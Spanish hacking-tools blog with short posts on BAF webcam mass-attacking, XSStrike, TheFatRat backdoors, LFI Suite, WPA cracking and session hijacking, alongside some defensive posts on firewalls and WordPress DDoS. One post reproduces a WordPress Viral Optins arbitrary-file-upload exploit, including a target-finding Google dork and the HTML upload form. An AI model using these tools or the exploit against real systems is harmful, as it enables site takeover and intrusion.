Inseguridad Informatica «ZaиGє†su»

BAF 0.1.0 - Blind Attacking Framework

2017-08-10T18:13:00.000-07:00

Es un framework escrito en python [2.7] que está siendo hecho especialmente para ataques blind, es decir: atacar objetivos aleatorios con problemas de seguridad comunes, los objetivos son generados por el motor de búsqueda de hackers "shodan" y los hosts vulnerables son hackeados de manera automatizada.

Este marco es completamente "neutral", es decir: no está basado en shodan API, es decir: el único límite en lo que puede hacer con él es su imaginacion como un tester.

How to use BAF ?

fire up a terminal and sudo apt-get update && apt-get upgrade && apt-get dist-upgrade
install [ requests , httplib , urllib , time , bs4 "BeautifulSoup" , colored , selenium , sys ] python modules
python BAF_0.1.0.py
enter your shodan's account username and pass
choose 1 , let it do it's job , press y , close the previous tab , press y ,close the previous tabs ...etc till u have the vulnerable cams only
choose 2 , enter what do u want to search for (ie: NSA) , when it's done , refer to the targets text file , it will contain the targets ip : port
that's all , till now
DON'T close a loading webpage
beta versions will make automated browser open for better understanding ,but you can close the webcam tabs freely

DESCARGA

XSStrike

2017-08-08T19:30:00.000-07:00

XSStrike es una herramienta escrita en python diseñada para detectar y explotar vulnerabilidades XSS.

Caracteristicas:

Fuzzes a parameter and builds a suitable payload
Bruteforces paramteres with payloads
Has an inbuilt crawler like functionality
Can reverse engineer the rules of a WAF/Filter
Detects and tries to bypass WAFs
Both GET and POST support
Most of the payloads are hand crafted
Negligible number of false positives
Opens the POC in a browser window

DESCARGA

Dagon - Advanced Hash Manipulation

2017-08-03T20:06:00.003-07:00

Dagon es capaz de realizar ataques de fuerza bruta a múltiples tipos de hash, creación de diccionarios de fuerza bruta, verificación automática de algoritmos de hash, generación al azar de Unicode a ASCII, y mucho más

Uso Basico

For full functionality of Dagon please reference the homepage here or the user manual
python dagon.py -h This will run the help menu and provide a list of all possible flags
python dagon.py -c <HASH> --bruteforce This will attempt to bruteforce a given hash
python dagon.py -l <FILE-PATH> --bruteforce This will attempt to bruteforce a given file full of hashes (one per line)
python dagon.py -v <HASH> This will try to verify the algorithm used to create the hash
python dagon.py -V <FILE-PATH> This will attempt to verify each hash in a file, one per linInstallation

Instalacion: 

Dagon requires python version 2.7.x to run successfully.


git clone https://github.com/ekultek/dagon.git
cd Dagon
pip install -r requirements.txt

VIDEO

DESCARGA

Findsploit Search Exploits in Databases

2017-07-31T18:35:00.001-07:00

Finsploit es un sencillo script bash para buscar de forma rápida y sencilla bases de datos de vulnerabilidades locales como en línea. Este repositorio también incluye "copysploit" para copiar

exploits de exploit-db al directorio actual y "compilesploit" para compilar y ejecutar automáticamente cualquier exploit en C(ie. ./copysploit 1337.c && ./compilesploit 1337.c)

Instalación :

↠ chmod 777 install.sh
↠ sh install.sh

Ejemplo de uso:

↠ findsploit xmlrpc

DESCARGA

NETATTACK 2 Advanced Wireless Network Scan and Attack Tool

2017-07-30T22:13:00.000-07:00

NETATTACK 2 es una secuencia de comandos python que escanea y ataca redes locales e inalámbricas. Todo es super fácil debido a la GUI que hace innecesario recordar comandos y parámetros.

FUNCIONES:

↠ Buscar redes Wi-Fi
↠ Busque hosts locales en su red
↠ Simple ARP Spoofing
↠ DNS Sniffing by ARP Spoofing the target and listening to DNS-Queries

DESCARGA

OpenPuff: Una herramienta profesional de esteganografía

2017-07-30T18:51:00.002-07:00

OpenPuff es una herramienta profesional de esteganografía, con características únicas que no encontrará entre ningún otro software gratuito o comercial. OpenPuff es 100% libre y adecuado para transmisión de datos altamente confidencial.

Características:

↠ HW seeded random number generator (CSPRNG)
↠ Deniable steganography
↠ Carrier chains (up to 256Mb of hidden data)
↠ Carrier bits selection level
↠ Modern multi-cryptography (16 algorithms)
↠ Multi-layered data obfuscation (3 passwords)
↠ X-squared steganalysis resistance

Soporta:

↠ Images (BMP, JPG, PCX, PNG, TGA)
↠ Audio support (AIFF, MP3, NEXT/SUN, WAV)
↠ Video support (3GP, MP4, MPG, VOB)
↠ Flash-Adobe support (FLV, SWF, PDF)

Video :

DESCARGA

TheFatRat

2017-07-29T23:29:00.001-07:00

Thefatrat es una herramienta de explotación masiva, entre algunas de sus características tenemos :

Creacion de Backdoors para linux, windows y android
bypass antivirus backdoorr
Bypass AV
File pumper

Entre muchos otros que pueden apreciar en la Web oficial

La instalacion es muy Simple,

⇝ git clone https://github.com/Screetsec/TheFatRat.git
⇝ cd TheFatRat
⇝ chmod +x setup.sh && ./setup.sh

Luego de iniciarlo, empezará con el checkeo de lo necesario para su funcionamiento:

Imagenes de la Herramienta:

Les dejo este Video de Backdoor PHP: (en la pagina estan muchos videos mas )

DESCARGA

OWASP VBScan

2017-07-29T17:53:00.002-07:00

Les dejo este proyecto para realizar pruebas de vulnerabilidades en Vbulletin, viene con las ultimas según los creadores

Uso:

⤇ ./vbscan.pl <target>
⤇ ./vbscan.pl http://target.com/vbulletin

DESCARGAR

Bluto - DNS Recon | Brute Forcer | DNS Zone Transfer | DNS Wild Card Checks

2017-07-27T20:10:00.000-07:00

Bluto es una Herramienta basada en Python, para Realizar Enumeración de DNS, bruteforce en subdominios entre otros, las características completa son:

DNS Recon
Brute Forcer
DNS Zone Transfer
DNS Wild Card Checks
DNS Wild Card Brute Forcer
Email Enumeration
Staff Enumeration
Compromised Account Enumeration
MetaData Harvesting

Pasemos a la instalacion:

⇥ sudo pip install git+git://github.com/darryllane/Bluto

Al iniciar me dio el siguiente error:

ImportError: No module named docopt

Lo cual lo solucionaremos instalando docopt

Código:

⇥ sudo apt-get install python-docopt

Ahora si podemos iniciarlo:

DESCARGA

viSQL - Scan SQL vulnerability

2017-07-26T12:36:00.000-07:00

Escanea vulnerabilidades de SQL en el sitio de destino y en los sitios dentro del servidor.

Instalacion:

~$ wget https://raw.githubusercontent.com/blackvkng/viSQL/master/installer.py
~# python2 installer.py
~$ # Type "viSQL" to use tool.
~$ viSQL

DESCARGA

LFI Suite

2017-07-26T12:30:00.000-07:00

LFISuite is a totally automatic tool able to scan and exploit Local File Inclusion vulnerabilities using many different methods of attack, listed in the section Features.
Features:
* Works with Windows, Linux and OS X
* Automatic Configuration
* Automatic Update
* Provides 8 different Local File Inclusion attack modalities:
– /proc/self/environ
– php://filter
– php://input
– /proc/self/fd
– access log
– phpinfo
– data://
– expect://
* Provides a ninth modality, called Auto-Hack, which scans and exploits the target automatically by trying all the attacks one after the other without you having to do anything (except for providing, at the beginning, a list of paths to scan, which if you don’t have you can find in this project directory in two versions, small and huge).
* Tor proxy support
* Reverse Shell for Windows, Linux and OS X

DESCARGA

Moscrack - Ruptura de claves WPA

2017-07-26T08:51:00.001-07:00

Moscrack es una aplicación Perl diseñado para facilitar la ruptura en las claves WPA en paralelo en un grupo de equipos.

Esto se logra mediante el uso de cualquiera de software de agrupación Mosix, SSH o RSH acceso a un número de nodos.

Con el nuevo marco plugin Moscrack, agrietamiento de hash se ha convertido en posible. SHA256/512, DES, MD5 y Blowfish * Unix hashes de contraseñas pueden ser procesadas con el plugin Dehasher Moscrack.

Algunas de las características Moscrack:

API Basic permite la monitorización remota
Configuración automática y dinámica de nodos
Live CD / USB permite el arranque y olvidarse de configuración de nodo dinámico
Se puede ampliar mediante el uso de plugins
Utiliza aircrack-ng (incluyendo 1.2 Beta) por defecto
Soporte CUDA / OpenCL través Pyrit Plugin
Apoyo a través de CUDA aircrack-ng-cuda (no probado)
No requiere de un agente / daemon en nodos
Puede agrietarse / comparar SHA256/512, DES, MD5 y Blowfish hashes través Dehasher Plugin
Soporta fácilmente un gran número de nodos
Desgined para funcionar durante largos períodos de tiempo
No salir de errores / fallos cuando sea posible
Admite configuraciones de sistema operativo mixto / protocolo
Soporta SSH, RSH, Mosix para la conectividad de nodo
Maneja efectivamente los nodos o enlaces rápidos y lentos mixtos
Arquitectura independiente
Soporta software de clustering Mosix
Soporta todos los sistemas operativos más utilizados como nodos de procesamiento
Priorización de nodo basado en la velocidad
Los nodos pueden ser añadido / borrado / modificado mientras Moscrack se está ejecutando
Muy detallado, no esconde nada, registra agresivamente
Incluye un "top" como visor de estado
Incluye CGI visor de estado web
Incluye una GUI X11 básico opcional

DESCARGA

Windows COM Elevation of Privilege Vulnerability - Win 10 Test

2017-07-26T08:45:00.000-07:00

Bueno el siguiente exploit sirve para cambiar la Password de usuarios sin tener privilegios, veamos:

Ejecutamos la consola y el net user "pass" para intentar cambiar, (todo sin el exploit aun)

Como vemos no nos deja cambiar la password,

Probemos ahora con el exploit:

y Listo.

les dejo la web donde pueden descargarlo: https://github.com/WindowsExploits/E.../CVE-2017-0213

Ademas de eso un video que busque en youtube ya que no tenia tiempo para hacer uno:

WordPress Viral Optins Plugins - Arbitrary File Upload Vulnerability

2017-06-24T11:52:00.000-07:00

Aplicando PoC:

Código:

# Exploit Title: WordPress Plugins Viral Optins - Arbitrary File Upload
# Exploit Author: x0id
# Date: 13 June 2017
# Tested on: Windows 7

1) Search target with Google Dorking
inurl:/wp-content/plugins/viral-optins/

2) Exploit the websites
https://localhost/wp-content/plugins/viral-optins/api/uploader/file-uploader.php
Vulnerability? Page Blank!

3) Proof of concept (PoC)
<form method="POST" action="https://localhost/wp-content/plugins/viral-optins/api/uploader/file-uploader.php" enctype="multipart/form-data">
<input type="file" name="Filedata" />
<button>Upload!</button><br/>
</form>

4) Result file access.
https://localhost/wp-content/uploads/YYYY/MM/your-file.php

Indonesian h4x0r.

#  0day.today [2017-06-23]  #

AutoRun File Remover

2014-04-14T08:52:00.001-07:00

Remover Autorun del archivo es la herramienta avanzada para detectar y eliminar el archivo Autorun Virus (autorun.inf) de su sistema de Windows.

Autorun es la característica integrada de Windows que permite que las aplicaciones se ejecuten de forma automática desde unidades USB / CD tan pronto como se hayan insertado. Esta
característica es utilizada en muchas ocasiones por los virus para propagarse de un sistema a otro. Debido a estos problemas de seguridad se aconseja siempre para deshabilitar la ejecución automática en el sistema.

Incluso estos archivos de ejecución automática (autorun.inf) no se eliminan por la mayoría de los anti-virus software. En tales casos, Autorun Remover archivo le ayuda a rápidamente detectar y eliminar todos los archivos peligrosos Autorun.

Analiza automáticamente todos los archivos de ejecución automática y encuentra la ruta del archivo ejecutable. Luego se realiza detallado análisis de amenazas para averiguar si es posible que sea un virus / malware.

Es muy fácil utilizar la herramienta con su atractiva interfaz GUI. También el indicador de amenaza de color basado en la ayuda a la rápida identificación de los archivos de las buenas y malas de ejecución automática.

Es totalmente portátil y funciona en todos los sistemas de arranque de Windows XP a Windows 8.

Características y Beneficios

Herramienta gratuita para escanear y eliminar los archivos de virus de ejecución automática de forma rápida
Realiza análisis avanzado de Amenazas
Representación basada en color de archivos sospechosos
Extraiga el archivo Autorun malicioso con sólo un clic
Abrir el archivo de ejecución automática en el Bloc de notas para la inspección
Herramienta fácil de usar con una interfaz fresca GUI
Totalmente portátil y se puede ejecutar desde cualquier lugar
Incluye instalador para la instalación local y desinstalación
Funciona tanto en sistemas de 32 bits y 64 bits de Windows XP a Windows 8

Descarga: http://securityxploded.com/download-file.php?id=7711

Visite: Most-Security

NTOSpider

2014-02-17T20:18:00.003-08:00

NTOSpider, con el nuevo traductor universal de tecnología, es un scannerseguridad de aplicaciones dinámicas (DAST) solución disponible que es capaz de poner a prueba de manera efectiva las aplicaciones móviles y web modernos que aprovechan las nuevas
tecnologías como REST, AJAX, JSON y GWT. Disponible, como software o SaaS, NTOSpider entrega cobertura de aplicación más amplio y metodologías de ataque sofisticados que cualquier otra solución disponible. Lo más importante, NTOSpider ofrece las mejores tarifas en la industria para la eliminación de resultados negativos falsos positivos y falsos.

Chequeos:

Data Injection and Manipulation Attacks
Blind SQL injection
Remote File Include (RFI) injection
Operating system command injection
Parameter Redirection
Persistent XSS
DOM-based XSS
Cross-site request forgery
SQL injection
Reflected Cross-site scripting (XSS)
Server and General HTTP
AJAX auditing
Detection of Client-side Technologies
Directory indexing and enumeration
HTTP response splitting
Canonicalization attacks
Cookie security
Custom fuzzing
Path manipulation – traversal
Brute force authentication attacks

WEB: http://www.ntobjectives.com/security-software/ntospider-application-security-scanner/

Visite: most-security.com

GoSquared - Análisis en tiempo real de tu Web

2013-12-30T09:58:00.002-08:00

GoSquared es una empresa que ofrece monitoreo total de nuestra web, tiene planes muy buenos y entre sus cualidades encontramos:

+ Consola en tiempo real de GoSquared le permite ver lo que está ocurriendo en el sitio Web de un solo vistazo.

+ Ver lo que es popular en su sitio ahora.

+ Ver dónde vienen sus visitantes y si están participando con su contenido.

+ Monitorear el impacto y la eficacia de las campañas en tiempo real.

+ Recibir alertas detalladas cuando los niveles de tráfico en el sitio están fuera de lo común.

+ Reaccionar a la actividad del visitante en su sitio antes de que la oportunidad ha pasado.

Pueden disfrutar de su version trial : https://www.gosquared.com/join/

O tambien acceder a un demo online, donde se ven algunas de sus cualidades : https://www.gosquared.com/now/demo#default

Les dejo ademas un video:

un Saludo

Faraday - Penetration Test IDE

2013-12-19T22:15:00.004-08:00

Faraday introduce un nuevo concepto (IPE) Integrado Penetración-Entorno de prueba de un IDE Ensayo de penetración multiusuario. Diseñado para su distribución, la indexación y el análisis de los datos generados durante el proceso de una auditoría de seguridad. El objetivo principal de
Faraday es volver a utilizar las herramientas disponibles en la comunidad para aprovecharse de ellos de una manera multiusuario.

Características:

* 40 Plugins (Metasploit, AMAP, Arachini, Dnsenum, Medusa, Nmap, Nessus, w3af, Zap y más)!

* Soporte conjunto

* Información Resaltado

* Filtrado de Conocimiento

* Información Dashboard

* Detección de conflictos

* Soporte para múltiples espacios de trabajo

* IntelliSense Soporte

* Fácil Plugin para el Desarrollo

Requerimientos :

Python 2.6.x and 2.7.x
- Qt3
- CouchDB >= 1.2.0
- The following python libs:
- mockito
- couchdbkit
- whoosh
- argparse
- psycopg2
- IPy
- requests

Video Demo: http://www.youtube.com/watch?v=EBz0g6ya7Mg

Web oficial: http://faradaysec.com/
Descarga: https://github.com/infobyte/faraday

Saludos !

Incapsula Protection

2013-11-25T21:05:00.001-08:00

Hola, en lo siguiente veremos un servicio llamado Incapsula, el cual nos ofrece seguridad web, protección contra ataques DDoS, balanceo de carga ente otras cosas. En lo personal yo lo he utilizado y me parece mucho mas eficiente que Cloudflare, tiene un WAF muy bueno, el cual lo

podemos observar en el siguiente Video:

Les dejare un par de capturas de todas las areas que abarca incapsula, algunas como

Antiddos avanzado son de pago (al igual que en cloudflare)

pero en incapsula tienes la posibilidad de probar durante 7 dias

cualquier plan de los disponibles

http://www.incapsula.com/pricing-and-plans/compare-all-plans

Pagina Web: http://www.incapsula.com

[Ddos Wordpress] Wordpress Explotable a DDos por defecto

2013-11-07T22:34:00.001-08:00

Hola, bueno en el siguiente post voy a compartir una experiencia que tuve hace un día mas o menos, y fue en un website que administro (most-security.com) cuando recibí un fuerte Ddos, bueno de primera me puse a mirar logs, netstat en el Vps y mirando incapsula, donde podia

apreciar el ddos que se me estaba realizando, mirando los logs vi algo muy particular y era que todo el ddos estaba dirigido a un solo archivo php, de primera pense que era simple casualidad o al azar, pero me puse a investigar...

Archivo xmlrpc:

Claramente vemos el ddos a ese archivo en donde yo cuento con Wordpress para el blog del website,

Siguiendo con la averiguacion me encontre con lo siguiente:

Bueno este archivo es utilizado para Pingback, que permite a cualquier persona iniciar una petición de WordPress a un sitio arbitrario. La funcionalidad se debe utilizar para generar referencias cruzadas entre los blogs, pero puede fácilmente ser utilizado para una sola máquina para originar millones de peticiones de múltiples ubicaciones

Veamos el siguiente la siguiente imagen por incapsula:

Podemos apreciar como funciona este ataque...

Ahora bien, la pregunta del millon seria, como solucionar esto, pues en realidad Wordpress en Julio de 2013 saco una actualizacion del pingback la cual no surgio para nada efecto es mas si ahora mismo te instalas WP con su ultima actualizacion, seguiras siendo victima de estos ataques, para lo cual tengo 3 posibles soluciones

1.- Borra este archivo que en realidad, yo ni lo utilizo

2.- Renombralo si es que lo utilizas con un nombre poco común

3.- Migra tu website a incapsula, incapsula es un maravilloso sitio, lo recomiendo al 100 %, yo antes trabajaba con cloudflare pero ultimamente, hay muchos ataques de ddos que pasan fácilmente la protección de cloud, ademas de tener un waf demasiado malo, pronto estaré posteando algo de incapsula para que lo conozcan a fondo, por mientras les dejo este link para que se informen mas sobre esta vulne:

http://www.incapsula.com/the-incapsula-blog/item/715-wordpress-security-alert-pingback-ddos

Saludos !

Subir Grandes Bases de datos [Bigdump]

2013-11-03T15:24:00.001-08:00

Hola, bueno en una migración de una web me encontre con un problema, el cual era que no podía subir la base de datos ya que era muy pesada (por phpmyadmin), intente editar el php.ini, y extender el ancho para subir BD pero no surgio efecto, buscando encontre esta herramienta simple en php,

http://www.ozerov.de/bigdump/

Esta en fase beta pero funciona muy bien,

Una vez descargado el php, lo abrimos con algun editor y nos vamos a las siguientes lineas:

" // Database configuration

$db_server = 'localhost';

$db_name = '';

$db_username = '';

$db_password = ''; "

En donde configuraremos nuestra base de datos, nombre, user y password y por supuesto en entorno local, una vez hecho esto, abriremos en nuestro navegador el php, y tambien debemos subir la DB al servidor web, por ftp u otro medio, una vez hecho abrimos el php y detecta automaticamente las extensiones sql, .sql, .gzip u otras, y solo le damos en instalar y seguira el proceso y buala, todo listo y subido

Les dejo una imagen de la tool, no detecta ninguna bd porque no tengo ninguna...

Saludos !

Most-Security

2013-10-24T17:37:00.001-07:00

Hola les paso dejar esta Nueva comunidad Informática, llamada Most Security,

en la cual tengo el placer de ser uno de los fundadores, en ella podemos encontrar muchas areas

dedicadas a la informatica en general, malwares, crypters, tutoriales, entre muchos otros,

LINK: http://most-security.com

Saludos !

Web Directorio Buster

2013-10-18T20:51:00.000-07:00

Directorio Buster Web es una herramienta gratuita para descubrir remotamente los archivos ocultos o carpetas en cualquier sitio web.

Esta herramienta será de gran ayuda las pruebas de intrusión para averiguar los archivos jugosas ocultas que contienen contraseñas u otra información importante. Incluso los propietarios de sitios web pueden utilizarla para eliminar cualquier tipo de archivos importantesantes de agresores a encontrar.
Junto con diccionario y fuerza bruta ataque basado en este programa garantiza el descubrimiento de la mayoría de los nombres de archivos complicados. Método Diccionario ayuda en la búsqueda de archivos comunes que como método de fuerza bruta le ayudarán a descubrir los nombres de archivos al azar / recinto. Además, le permite personalizar la búsqueda por la elección de los tipos de extensiones de archivo para que pueda buscar los archivos específicos, tales como texto, zip , cfg, xml, etc Usted puede ajustar aún más el diccionario y el ataque de fuerza bruta mediante la alteración de los parámetros por defecto. Viene con instalador integrado y trabaja en una amplia gama de plataformas a partir de Windows 98 a la última versión, Windows 7.

Características

Gratis y fácil de usar
Apoye Windows 98, ME, NT, 2000, XP, 2003, Vista y Win 7 Sistemas
Descubre los nombres de archivos y carpetas ocultos en cualquier sitio web
Útil para pentesters y propietarios de sitios web para descubrir los archivos / carpetas ocultos.
Diccionario Ataque ayuda en el descubrimiento de los nombres de archivo de uso común en el sitio web.
Soporta ataque de fuerza bruta para descubrir los nombres de archivos / carpetas al azar.
Con una interfaz gráfica de usuario elegante, el usuario puede ajustar los parámetros con facilidad antes de iniciar el proceso de recuperación

Cómo utilizar?

WebDirectoryBuster es fácil de usar, con su sencilla interfaz gráfica de usuario, incluso para principiantes. Estos son los breves detalles de uso,

Ejecutar "Buster Directorio Web" mediante los accesos directos en el escritorio o en el menú de inicio.
Introduzca la URL del sitio web cuyo nombre de archivo / carpeta por descubrir.
Especifique los tipos de archivo (txt, zip, rar, etc) que desea buscar.
A continuación, introduzca la ruta del archivo de salida donde se registrarán todos los nombres de archivos encontrados.
A continuación, seleccione Diccionario / método de fuerza bruta e introduzca los parámetros relevantes.
Por último, haga clic en Inicio botón para comenzar

Descarga: http://appnimi.com/download/?did=20&file=0

Instalacion de Csf + Webmin en CentOS

2013-10-10T19:03:00.000-07:00

Hola, en el siguiente tutorial veremos la instalacion de ConfigServer Security & Firewall (CSF) + Webmin para tener una administracion web de nuestro servidor centOS y nuestro firewall csf, bueno actualmente he utilizado varias veces este firewall y me ha funcionado super bien, he logrado configurarlo a tal modo que bloquea ips por scan de puertos y bueno todo depende de como lo configuremos y el nivel de seguridad que necesitemos, ahora vamos con la instalación:

Bueno procederemos a descargar el paquete:

#wget http://configserver.com/free/csf.tgz

Extraer el archivo:

# tar xfz csf.tgz

Vamos al directorio extraido:

cd csf

y instalamos:

sh install.sh

Luego de esto si todo va correcto, ya tendremos instalado nuestro csf en el sistema, queda empezar a configurar todos los aspectos en el siguiente archivo: vim /etc/csf/csf.conf.

Lo primero que debemos cambiar, es el modo testing :

TESTING = “1″

dejar asi;

TESTING = “0″

y bueno configurar todo lo demas como queramos, luego de esto podemos reiniciar nuestro firewall con csf -r, para bloquear ips manualmente podemos hacerlo con:

csf -d ip (ejemplo csf -d 192.564.232.234

Para agregar una ip a permitidas lo haremos con csf -a ip (csf -a 192.564.232.234)

Descargamos el paquete:

wget http://prdownloads.sourceforge.net/webadmin/webmin-1.660-1.noarch.rpm

Instalamos:

rpm -U webmin-1.660-1.noarch.rpm

Bueno lo primero que debemos hacer es abrir nuestro puerto 10000, para poder acceder mediante web, ejemplo : 127.0.0.1:10000, donde el localhost seria nuestra ip publica,

Bueno ingresamos a webmin y nos logeamos con nuestros datos root, lo primero que veremos sera la interfaz de webmin:

Vamos a Webmin > Webmin Configuration y luego

Webmin Modules

En From local file pondremos lo siguiente:

/etc/csf/csfwebmin.tgz

Tendremos acceso a csf en :

System

Bootup and Shutdown

Change Passwords

ConfigServer Security & Firewall

En el area ConfigServer Security & Firewall

Bueno desde hay podemos gestionar el bloqueo y desbloqueo de ips,

gestionar las configuraciones, el nivel de seguridad de el firewall, entre otras cosas,

eso seria todo, un saludo !

Session Hijacking con Cookie Cadger

2013-10-09T22:52:00.002-07:00

Hola, les paso a dejar este programa muy bueno llamado Cookie cadger con el cual podemos obtener sesiones y logins, funciona en Windows, Linux o Mac, y requiere Java 7. Usando Cadger Cookies requiere tener "tshark" - una utilidad que forma parte de la suite de Wireshark, que se instalará. Por lo general, simplemente instalando Wireshark será suficiente.

Además, para capturar los paquetes promiscuamente requiere hardware compatible. Capturar el tráfico Wi-Fi requiere hardware capaz de modo monitor, y el conocimiento de cómo colocar el dispositivo en modo monitor.

Cookie Cadger puede ser descargado desde aqui: https://www.cookiecadger.com/?page_id=19

y su uso aqui: https://github.com/CookieCadger/CookieCadger/blob/master/README.md

Ademas les dejo un video de youtube mostrando su uso, un saludo !